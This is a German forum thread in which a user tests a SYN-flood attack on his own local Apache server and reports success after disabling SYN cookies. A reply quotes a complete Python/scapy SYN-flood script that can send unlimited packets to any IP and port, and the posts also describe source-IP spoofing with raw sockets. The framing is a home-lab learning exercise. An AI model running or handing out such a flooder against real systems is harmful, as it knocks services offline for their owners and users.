DOS-Attacke im eigenen Netz auf Port 80/TCP

d235

Neu angemeldet
Registriert
18 Sep. 2016
Beiträge
14
Hallo,

wie der Titel des Threads andeutet, möchte ich eine DOS-Attacke (mittels SYN-Flood) auf meinen lokalen Webserver durchführen. Habe dazu in C was geschrieben, und anhand des Traffics (wireshark) ist erkennbar, dass auf beiden Seiten das gesendet wird, was in der Theorie verlangt ist.

Nur blöd, dass mein Webserver unverändert schnell antwortet -.-.

Hat jemand sowas schonmal selber bei sich getestet?
Sollte ich vielleicht mit Threads arbeiten?

Bisher werden 20k Anfragen geschickt, habe auch mal versucht im Sekundentakt zu schicken, aber leider keinen Erfolg oder ist das einfach alles zu wenig?
 
Kannst du das Programm nicht einfach mehrmals gleichzeitig starten? Wie sieht der Quellcode aus? Welcher Webserver ist es? Welche Betriebssysteme?

Im lokalen Netz hast du auch die Möglichkeit, deiner Netzwerkkarte mehrere IPs zuzuweisen.

Ich würde das eher mit Python und scapy machen:

jamesdotcom.com/?p=264 schrieb:
[src=python]import sys
import random
import logging # This and the following line are used to omit the IPv6 error displayed by importing scapy.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
import os
import urllib2
if os.getuid() != 0: # Checks to see if the user running the script is root.
print("You need to run this program as root for it to function correctly.")
sys.exit(1)
parser = argparse.ArgumentParser(description='This educational tool sends SYN requests to the target specified in the arguments.') # This and preceding 4 lines used to control the arguments entered in the CLI.
parser.add_argument('-d', action="store",dest='source', help='The destination IP address for the SYN packet')
parser.add_argument('-c', action="store",dest='count', help='The amount of SYN packets to send. (enter X for unlimited)')
parser.add_argument('-p', action="store",dest='port', help='The destination port for the SYN packet')
args = parser.parse_args()
if len(sys.argv) == 1: # Forces the help text to be displayed if no arguments are entered
parser.print_help()
sys.exit(1)
args = vars(args) # converts the arguments into dictionary format for easier retrieval.
iterationCount = 0 # variable used to control the while loop for the amount of times a packet is sent.
if args['count'] == "X" or args['count'] == "x": # If the user entered an X or x into the count argument (wants unlimited SYN segments sent)
while (1 == 1):
a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a
send(a, verbose=0) # Sends the Packet
iterationCount = iterationCount + 1
print(str(iterationCount) + " Packet Sent")
else: # executed if the user defined an amount of segments to send.
while iterationCount < int(args['count']):
a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a
send(a, verbose=0) # Sends the Packet
iterationCount = iterationCount + 1
print(str(iterationCount) + " Packet Sent")
print("All packets successfully sent.")[/src]
 
  • Thread Starter Thread Starter
  • #3
Scapy wollte ich eigentlich ungern benutzen, da ich nichts relevantes dabei lerne.

In C nutze ich raw sockets.
Vereinfacht gesagt bin ich damit in der Lage IP- und TCP-Pakete selber zu konstruieren.

Das Spoofing der Sender-IP geschieht über entsprechende Angaben im IP-Header, ich habs also mit mehreren IP-Adressen schon probiert. Arpcache auf dem Ziel-Host habe ich dementsprechend erweitert, damit SYN/ACK seinen Weg ins lokale Netz findet (offensichtlich ohne beantwortet zu werden ;)).

httpd -v auf Ziel-Host:
Server version: Apache/2.4.23 (Unix)
Server built: Jul 5 2016 07:35:16

Betriebssysteme:
Quell-Host (C-Programm): 64-Bit
Ziel-Host (Webserver): 32-Bit
Beides archlinux 4.7.4
Hardware: Ziel-Host ist ein Laptop von 2008 (2GB RAM, Intel Atom ~1,5 GHz), Quell-Host deutlich(!) besser.
Kommunikation der beiden über WLAN (IEEE 802.11)

Ich werde das Programm in mehreren Terminals mal laufen lassen...
Gibt es denn jemanden der sowas Ähnliches schonmal gemacht hat. Hätte gerne quantitative Angaben in Bezug auf Anzahl Pakete, Dauer, RAM, ...
 
Gibt es denn jemanden der sowas Ähnliches schonmal gemacht hat. Hätte gerne quantitative Angaben in Bezug auf Anzahl Pakete, Dauer, RAM, ...

Könnte jemanden geben, der das mal gemacht hat :D
Da sollten selbst bei einem Atom schon mehrere 10.000 Verbindungen nötig sein. Schau mal mit [kw]iperf[/kw], wie viel Bandbreite der Atom auf die Reihe bringt. Ein SYN-Paket ist ca. 60 Byte groß (Header + SYN + MSS/ECR/timestamp).

Du musst die Bandbreite sättigen, daher reicht auch nicht ein Prozess.

Schau dir auf dem Server mal die offenen Verbindungen mit [kw]ss -s[/kw] an. Mit folgenden Befehlen siehst du auf dem Server die empfangenen und auf dem Client die gesendeten SYNs an:
[src=bash]ss -t state syn-recv
ss -t state syn-sent[/src]

Mit [kw]watch -n1[/kw] kannst du das jede Sekunde automatisch tun lassen, was die SYN-Pakete vermutlich eher einfängt.
 
Gibt es eigentlich ein Buch, dass solche Themen Netzwerktechnik- und sicherheit auf diese Weise praxisnah abhandelt, so dass man sich lokal mal ausprobieren kann? Oder ist es schon am besten sich da selber Aufgaben/Themen zu setzen und zu bearbeiten am besten geeignet?
 
" " von Jon Erikson

Oder die Bücher von Kevin Mitnick als Abendlektüre.

Außerdem:

Am schnellsten lernt man sowas in einem CTF-Workshop der lokalen Hochschule. Hier haben sich in der Vergangenheit , und bewährt, aber es gibt sicher auch anderswo entsprechende Workshops.
 
Zuletzt bearbeitet:
  • Thread Starter Thread Starter
  • #7
So, ich habe es jetzt hinbekommen.
In der jetzigen Version von archlinux 4.7.4 mussten SYN-Cookies abgeschaltet und der Kernel-Parameter tcp_max_syn_backlog von 256 auf 64 heruntergesetzt werden.

Mit diesen Einstellungen war es möglich den Server nach ca. 8k SYN-Anfragen (~2:00 min) von einer IP-Adresse, lahmzulegen.
In einigen Fällen ist der Server nach 3k SYN-Anfragen nicht erreichbar gewesen.

Server:
Server version: Apache/2.4.23 (Unix)
Server built: Jul 5 2016 07:35:16
 
Zurück
Oben